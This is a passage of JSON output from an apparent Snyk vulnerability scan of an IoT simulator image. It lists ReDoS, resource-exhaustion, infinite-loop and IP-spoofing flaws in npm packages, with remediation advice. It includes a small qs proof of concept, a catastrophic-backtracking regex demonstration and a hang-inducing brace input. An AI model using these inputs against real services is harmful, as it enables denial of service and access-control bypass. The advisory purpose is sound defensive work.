attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n", "epssDetails": { "percentile": "0.58956", "probability": "0.00931", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48779" ], "CWE": [ "CWE-405", "CWE-770" ], "GHSA": [ "GHSA-96hv-2xvq-fx4p" ] }, "packageName": "ws", "proprietary": false, "creationTime": "2026-06-16T12:21:35.837880Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-15T16:34:23Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-16T12:21:46.990314Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:16:02.859719Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "mqtt@5.14.0", "ws@8.18.3" ], "upgradePath": [ false, "mqtt@5.14.0", "ws@8.22.0" ], "isUpgradable": true, "isPatchable": false, "name": "ws", "version": "8.18.3" } ], "ok": false, "dependencyCount": 123, "org": "sean.graham", "policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n", "isPrivate": true, "licensesPolicy": { "severities": {}, "orgLicenseRules": { "AGPL-1.0": { "licenseType": "AGPL-1.0", "severity": "high", "instructions": "" }, "AGPL-3.0": { "licenseType": "AGPL-3.0", "severity": "high", "instructions": "" }, "Artistic-1.0": { "licenseType": "Artistic-1.0", "severity": "medium", "instructions": "" }, "Artistic-2.0": { "licenseType": "Artistic-2.0", "severity": "medium", "instructions": "" }, "CDDL-1.0": { "licenseType": "CDDL-1.0", "severity": "medium", "instructions": "" }, "CPOL-1.02": { "licenseType": "CPOL-1.02", "severity": "high", "instructions": "" }, "EPL-1.0": { "licenseType": "EPL-1.0", "severity": "medium", "instructions": "" }, "GPL-2.0": { "licenseType": "GPL-2.0", "severity": "high", "instructions": "" }, "GPL-3.0": { "licenseType": "GPL-3.0", "severity": "high", "instructions": "" }, "LGPL-2.0": { "licenseType": "LGPL-2.0", "severity": "medium", "instructions": "" }, "LGPL-2.1": { "licenseType": "LGPL-2.1", "severity": "medium", "instructions": "" }, "LGPL-3.0": { "licenseType": "LGPL-3.0", "severity": "medium", "instructions": "" }, "MPL-1.1": { "licenseType": "MPL-1.1", "severity": "medium", "instructions": "" }, "MPL-2.0": { "licenseType": "MPL-2.0", "severity": "medium", "instructions": "" }, "MS-RL": { "licenseType": "MS-RL", "severity": "medium", "instructions": "" }, "SimPL-2.0": { "licenseType": "SimPL-2.0", "severity": "high", "instructions": "" } } }, "packageManager": "npm", "ignoreSettings": { "adminOnly": false, "reasonRequired": false, "disregardFilesystemIgnores": false, "autoApproveIgnores": false, "approvalWorkflowEnabled": false }, "docker": {}, "summary": "11 high or critical severity vulnerable dependency paths", "severityThreshold": "high", "remediation": { "unresolved": [ { "id": "SNYK-JS-PATHTOREGEXP-15789763", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "uug4na" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:11:45.860800Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:11:45.860800Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in route patterns. An attacker can cause resource exhaustion by supplying input with multiple sequential optional groups, leading to excessive computation and denial of service.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be mitigated by limiting the number of sequential optional groups in route patterns and avoiding user-controlled input as route patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.57668", "probability": "0.00892", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4926" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:11:43.387356Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:11:43.704120Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:11:45.860800Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "path-to-regexp", "version": "8.2.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-PATHTOREGEXP-15789765", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "blakeembrey" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:11:45.789184Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:11:45.789184Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when multiple wildcards are used in combination with at least one parameter. An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted input patterns that trigger catastrophic backtracking.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the second wildcard is not positioned at the end of the path.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.28221", "probability": "0.00371", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4923" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:16:36.880370Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:16:37.083062Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-24T14:11:45.789184Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "path-to-regexp", "version": "8.2.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-PROXYADDR-19812342", "title": "User Impersonation", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "credit": [ "kagebunsher" ], "semver": { "vulnerable": [ ">=1.1.0 <2.0.8" ] }, "exploit": "Not Defined", "fixedIn": [ "2.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "critical", "cvssScore": 9.3, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "proxy-addr", "references": [ { "url": "https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h", "title": "GitHub Advisory" }, { "url": "https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-10-08T05:38:39.078594Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "critical", "baseScore": 9.3, "cvssVersion": "4.0", "modificationTime": "2026-10-08T05:38:39.278167Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "assigner": "Snyk", "severity": "critical", "baseScore": 9.1, "cvssVersion": "3.1", "modificationTime": "2026-10-08T05:38:39.278167Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-08T05:38:39.078594Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to User Impersonation in its subnet matching logic, where an IPv4-mapped IPv6 trust entry with a short prefix such as `::ffff:10.0.0.0/8` compiles with all-zero leading bits and matches every address rather than the intended block. An attacker can control the value returned by `proxyaddr(req, trust)`, and therefore `req.ip` and `req.ips` in Express, by sending an arbitrary `X-Forwarded-For` header, since every client is then trusted as a proxy at hop 0, which defeats IP-based access control, rate limiting, geolocation, and audit logging. This requires the application to configure its trust list with an IPv4-mapped IPv6 subnet using a short prefix, or any IPv6 subnet with zero leading bits such as `::/1`, and the misconfiguration compiles without error.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by expressing trust subnets in plain IPv4 notation, such as `10.0.0.0/8`, or where IPv4-mapped IPv6 notation is required, by using a prefix long enough to cover the mapped marker, such as `::ffff:10.0.0.0/104`.\n## Remediation\nUpgrade `proxy-addr` to version 2.0.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/jshttp/proxy-addr/security/advisories/GHSA-jqcg-44mw-7w3h)\n- [GitHub Commit](https://github.com/jshttp/proxy-addr/commit/780911d84d18e2c5fa008ed0c0d387631ec11965)\n", "epssDetails": { "percentile": "0.23628", "probability": "0.00332", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-90711" ], "CWE": [ "CWE-290" ], "GHSA": [ "GHSA-jqcg-44mw-7w3h" ] }, "packageName": "proxy-addr", "proprietary": false, "creationTime": "2026-09-15T08:22:56.328403Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-15T07:14:51Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-15T08:22:56.519310Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-08T05:38:39.278167Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "server@1.0.0", "express@5.2.0", "proxy-addr@2.0.7" ], "upgradePath": [ false, "express@5.2.0", "proxy-addr@2.0.8" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "proxy-addr", "version": "2.0.7", "severityWithCritical": "critical" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-11T09:15:24.566638Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.43894", "probability": "0.00542", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-11T09:15:24.566638Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "server@1.0.0", "express@5.2.0", "body-parser@2.2.1", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "body-parser@2.3.0", "qs@6.16.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "qs", "version": "6.14.1", "severityWithCritical": "high" } ], "upgrade": { "body-parser@1.20.4": { "upgradeTo": "body-parser@1.20.8", "upgrades": [ "qs@6.14.1" ], "vulns": [ "SNYK-JS-QS-20943482" ] }, "ws@8.18.3": { "upgradeTo": "ws@8.21.0", "upgrades": [ "ws@8.18.3" ], "vulns": [ "SNYK-JS-WS-17344547" ] } }, "patch": {}, "ignore": {}, "pin": {} }, "filesystemPolicy": false, "filtered": { "ignore": [], "patch": [] }, "uniqueCount": 6, "targetFile": "/usr/src/app/server/package.json", "projectName": "server", "displayTargetFile": "/usr/src/app/server/package.json", "hasUnknownVersions": false, "path": "docker.io/scopear/iot-simulator:1.0.12_a18cd9a.162" }, { "vulnerabilities": [ { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub 